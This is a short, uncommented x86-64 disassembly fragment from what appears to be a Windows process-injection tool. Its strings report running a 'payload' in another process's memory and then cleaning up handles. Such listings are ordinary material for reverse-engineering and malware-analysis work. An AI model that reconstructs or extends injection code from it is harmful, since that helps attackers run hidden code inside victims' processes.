mov qword [rsp + 0x20], r14
call qword [0x140023f78]
mov rsi, rax
test rax, rax
jne 0x1400021e9
mov r8d, ebx
lea rdx, [rbp + 0xb0]
lea rcx, str._s_Fail_to_execute_the_payload_in_the_process__ld_n
call fcn.140002270
lea eax, [rsi + 1]
jmp 0x140002244
lea rdx, [rbp + 0xa0]
lea rcx, str._s_Successfully_executed_the_payload_in_memmory______n
call fcn.140002270
mov edx, 0xffffffff
mov rcx, rsi
call qword [0x140023f70]
lea rdx, [rbp + 0xa0]
lea rcx, str._s_cleaning_handles_n
call fcn.140002270
mov rcx, rdi
call qword [0x140023f68]
mov rcx, rsi
call qword [0x140023f68]
lea rdx, [rbp + 0xa0]
lea rcx, str._s_Handles_cleaned_n
call fcn.140002270
xor eax, eax
mov rsi, qword [rsp + 0x170]
add rsp, 0x178
pop r14
pop rdi
pop rbx
pop rbp
ret